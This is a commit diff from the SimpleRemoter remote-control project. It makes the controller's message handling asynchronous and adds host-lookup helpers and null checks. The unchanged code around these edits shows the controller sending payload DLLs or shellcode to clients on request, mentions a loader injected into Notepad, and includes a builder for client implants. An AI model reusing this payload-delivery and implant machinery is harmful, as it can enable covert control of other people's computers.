admin/SimpleRemoter
1
0
Fork 0
mirror of https://github.com/yuanyuanxiang/SimpleRemoter.git synced 2026-01-21 23:13:08 +08:00
Code Issues Packages Projects Releases Wiki Activity

Improve master efficiency by using asynchronous message processing

Browse Source
This commit is contained in:
yuanyuanxiang
2025-12-05 17:40:12 +01:00
parent 8c45ae17a8
commit 001f0682ae
15 changed files with 190 additions and 163 deletions
Download Patch File Download Diff File Expand all files Collapse all files

6
server/2015Remote/2015Remote.cpp
View File

@@ -23,10 +23,10 @@ BOOL ServerPair::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
{
UINT ret1 = m_tcpServer->StartServer(NotifyProc, OffProc, uPort);
if (ret1) THIS_APP->MessageBox(CString("启动TCP服务失败: ") + std::to_string(uPort).c_str()
+ CString("。错误码: ") + std::to_string(ret1).c_str(), "提示", MB_ICONINFORMATION);
+ CString("。错误码: ") + std::to_string(ret1).c_str(), "提示", MB_ICONINFORMATION);
UINT ret2 = m_udpServer->StartServer(NotifyProc, OffProc, uPort);
if (ret2) THIS_APP->MessageBox(CString("启动UDP服务失败: ") + std::to_string(uPort).c_str()
+ CString("。错误码: ") + std::to_string(ret2).c_str(), "提示", MB_ICONINFORMATION);
+ CString("。错误码: ") + std::to_string(ret2).c_str(), "提示", MB_ICONINFORMATION);
return (ret1 == 0 || ret2 == 0);
}
@@ -248,7 +248,7 @@ BOOL CMy2015RemoteApp::InitInstance()
CloseHandle(m_Mutex);
m_Mutex = NULL;
MessageBox("一个主控程序已经在运行，请检查任务管理器。",
"提示", MB_ICONINFORMATION);
"提示", MB_ICONINFORMATION);
return FALSE;
}
}

2
server/2015Remote/2015Remote.h
View File

@@ -96,7 +96,7 @@ public:
int MessageBox(const CString& strText, const CString& strCaption = NULL, UINT nType = 0)
{
return m_pSplash ? m_pSplash->SafeMessageBox(strText, strCaption, nType) : ::MessageBox(NULL, strText, strCaption, nType);
}
}
// 启动多个服务端，成功返回0
// nPort示例: 6543;7543

BIN
server/2015Remote/2015Remote.rc
View File

Binary file not shown.

90
server/2015Remote/2015RemoteDlg.cpp
View File

@@ -750,7 +750,6 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
auto ctx = *i;
if (ctx == ContextObject || ctx->GetClientID() == id) {
LeaveCriticalSection(&m_cs);
Mprintf("TODO: '%s' already exist!!\n", strIP);
return;
}
}
@@ -2058,7 +2057,7 @@ BOOL CMy2015RemoteDlg::Activate(const std::string& nPort,int nMaxConnection, con
pids.back() = '?';
}
if (IDYES == THIS_APP->MessageBox("调用函数StartServer失败! 错误代码:" + CString(std::to_string(ret).c_str()) +
"\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) {
"\r\n是否关闭以下进程重试: " + pids.c_str(), "提示", MB_YESNO)) {
for (const auto& line : lines) {
auto cmd = std::string("taskkill /f /pid ") + line;
exec(cmd.c_str());
@@ -2094,21 +2093,23 @@ BOOL CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject)
Dlg->OnReceiveComplete();
Dlg->MarkReceiving(false);
} else {
HANDLE hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
if (hEvent == NULL) {
HANDLE hEvent = USING_EVENT ? CreateEvent(NULL, TRUE, FALSE, NULL) : NULL;
if (USING_EVENT && !hEvent) {
Mprintf("===> NotifyProc CreateEvent FAILED: %p <===\n", ContextObject);
return FALSE;
}
if (!g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)hEvent, (LPARAM)ContextObject)) {
Mprintf("===> NotifyProc PostMessage FAILED: %p <===\n", ContextObject);
CloseHandle(hEvent);
if (hEvent) CloseHandle(hEvent);
return FALSE;
}
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (result == WAIT_FAILED) {
DWORD err = GetLastError();
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
if (hEvent) {
HANDLE handles[2] = { hEvent, g_2015RemoteDlg->m_hExit };
DWORD result = WaitForMultipleObjects(2, handles, FALSE, INFINITE);
if (result == WAIT_FAILED) {
DWORD err = GetLastError();
Mprintf("NotifyProc WaitForMultipleObjects failed, error=%lu\n", err);
}
}
}
return TRUE;
@@ -2314,23 +2315,18 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
case TOKEN_HEARTBEAT:
case 137: // 心跳【L】
g_2015RemoteDlg->SendMessage(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
break;
case SOCKET_DLLLOADER: {// 请求DLL【L】
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
int connNum = 0;
if (typ == SHELLCODE) {
Mprintf("===> '%s' Request SC [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
} else {
Mprintf("===> '%s' Request DLL [is64Bit:%d isRelease:%d]\n", ContextObject->RemoteAddr().c_str(), is64Bit, isRelease);
}
char version[12] = {};
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
// TODO 注入记事本的加载器需要更新
SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
BOOL send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n", ContextObject->RemoteAddr().c_str(),
typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
break;
}
case COMMAND_BYE: { // 主机下线【L】
@@ -2417,7 +2413,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
}
}
auto duration = clock() - tick;
if (duration > 200) {
if (duration > 100) {
Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->PeerName.c_str(), cmd, duration);
}
}
@@ -2435,9 +2431,7 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
strIP = ContextObject->GetPeerName().c_str();
// 不合法的数据包
if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
char buf[100];
sprintf_s(buf, "*** Received [%s] invalid login data! ***\n", strIP.GetString());
Mprintf(buf);
Mprintf("*** Received [%s] invalid login data! ***\n", strIP.GetString());
return -1;
}
@@ -2482,7 +2476,12 @@ LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
{
Mprintf("======> OnUserOfflineMsg\n");
auto host = FindHost((int)lParam);
if (host) {
Mprintf("======> OnUserOfflineMsg: %s\n", host->GetPeerName().c_str());
CLock L(m_cs);
m_HostList.erase(host);
}
CString ip, port;
port.Format("%d", lParam);
EnterCriticalSection(&m_cs);
@@ -2492,7 +2491,6 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
if (cur == port) {
ip = m_CList_Online.GetItemText(i, ONLINELIST_IP);
auto ctx = (context*)m_CList_Online.GetItemData(i);
m_HostList.erase(ctx);
m_CList_Online.DeleteItem(i);
ShowMessage("操作成功", ip + "主机下线");
break;
@@ -2512,7 +2510,8 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
return S_OK;
}
LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) {
LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam)
{
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam;
UpdateActiveWindow(ctx);
@@ -2521,6 +2520,13 @@ LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam) {
void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
{
auto host = FindHost(ctx);
if (!host) {
ctx->CancelIO();
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
return;
}
Heartbeat hb;
ctx->InDeCompressedBuffer.CopyBuffer(&hb, sizeof(Heartbeat), 1);
@@ -2546,15 +2552,29 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
return;
}
}
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if (ctx->IsEqual(*i)) {
return;
}
}
ctx->CancelIO();
Mprintf("UpdateActiveWindow failed: %s \n", ctx->GetPeerName().c_str());
}
context* CMy2015RemoteDlg::FindHost(context* ctx)
{
CLock L(m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if (ctx->IsEqual(*i)) {
return ctx;
}
}
return NULL;
}
context* CMy2015RemoteDlg::FindHost(int port)
{
CLock L(m_cs);
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
if ((*i)->GetPort() == port) {
return *i;
}
}
return NULL;
}
void CMy2015RemoteDlg::SendMasterSettings(CONTEXT_OBJECT* ctx)
{
@@ -2583,7 +2603,7 @@ bool isAllZeros(const BYTE* data, int len)
return true;
}
VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
{
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
@@ -2595,10 +2615,12 @@ VOID CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
memcpy(md5, (char*)ContextObject->InDeCompressedBuffer.GetBuffer(32), max(0,min(32, len-32)));
if (!buf->MD5().empty() && md5 != buf->MD5()) {
ContextObject->Send2Client(buf->Buf(), buf->length(!hasIV));
return TRUE;
} else {
ContextObject->Send2Client( buf->Buf(), 6 /* data not changed */);
}
}
return FALSE;
}

7
server/2015Remote/2015RemoteDlg.h
View File

@@ -13,6 +13,9 @@
// 是否在退出主控端时也退出客户端
#define CLIENT_EXIT_WITH_SERVER 0
// 是否使用同步事件处理消息
#define USING_EVENT 0
typedef struct DllInfo {
std::string Name;
Buffer* Data;
@@ -205,7 +208,7 @@ public:
BOOL Activate(const std::string& nPort, int nMaxConnection, const std::string& method);
void UpdateActiveWindow(CONTEXT_OBJECT* ctx);
void SendMasterSettings(CONTEXT_OBJECT* ctx);
VOID SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
MasterSettings m_settings;
@@ -223,6 +226,8 @@ public:
std::string m_selectedGroup;
void LoadListData(const std::string& group);
void DeletePopupWindow();
context* FindHost(context* ctx);
context* FindHost(int port);
CStatusBar m_StatusBar; //状态条
CTrueColorToolBar m_ToolBar;

10
server/2015Remote/BuildDlg.cpp
View File

@@ -200,12 +200,12 @@ void CBuildDlg::OnBnClickedOk()
startup = Startup_GhostMsc;
szBuffer = ReadResource(is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86, dwFileSize);
break;
case IndexTestRunMsc:
file = "TestRun.exe";
typ = CLIENT_TYPE_MEMDLL;
case IndexTestRunMsc:
file = "TestRun.exe";
typ = CLIENT_TYPE_MEMDLL;
startup = Startup_TestRunMsc;
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
break;
szBuffer = ReadResource(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86, dwFileSize);
break;
case IndexServerDll:
file = "ServerDll.dll";
typ = CLIENT_TYPE_DLL;

2
server/2015Remote/IOCPServer.cpp
View File

@@ -410,7 +410,7 @@ BOOL IOCPServer::OnClientInitializing(PCONTEXT_OBJECT ContextObject, DWORD dwTr
// May be this function should be a member of `CONTEXT_OBJECT`.
BOOL ParseReceivedData(CONTEXT_OBJECT * ContextObject, DWORD dwTrans, pfnNotifyProc m_NotifyProc, ZSTD_DCtx* m_Dctx)
{
AUTO_TICK(40, "");
AUTO_TICK(50, ContextObject->GetPeerName());
BOOL ret = 1;
try {
if (dwTrans == 0) { //对方关闭了套接字

12
server/2015Remote/Server.h
View File

@@ -627,22 +627,26 @@ public:
// Encode data before compress.
void Encode(PBYTE data, int len) const
{
Parser.GetEncoder()->Encode((unsigned char*)data, len);
auto enc = Parser.GetEncoder();
if (enc) enc->Encode((unsigned char*)data, len);
}
// Decode data after uncompress.
void Decode(PBYTE data, int len) const
{
Parser.GetEncoder()->Decode((unsigned char*)data, len);
auto enc = Parser.GetEncoder();
if (enc) enc->Decode((unsigned char*)data, len);
}
// Encode data after compress.
void Encode2(PBYTE data, int len, PBYTE param) const
{
Parser.GetEncoder2()->Encode((unsigned char*)data, len, param);
auto enc = Parser.GetEncoder2();
if (enc) enc->Encode((unsigned char*)data, len, param);
}
// Decode data before uncompress.
void Decode2(PBYTE data, int len, PBYTE param) const
{
Parser.GetEncoder2()->Decode((unsigned char*)data, len, param);
auto enc = Parser.GetEncoder2();
if (enc) enc->Decode((unsigned char*)data, len, param);
}
std::string RemoteAddr() const
{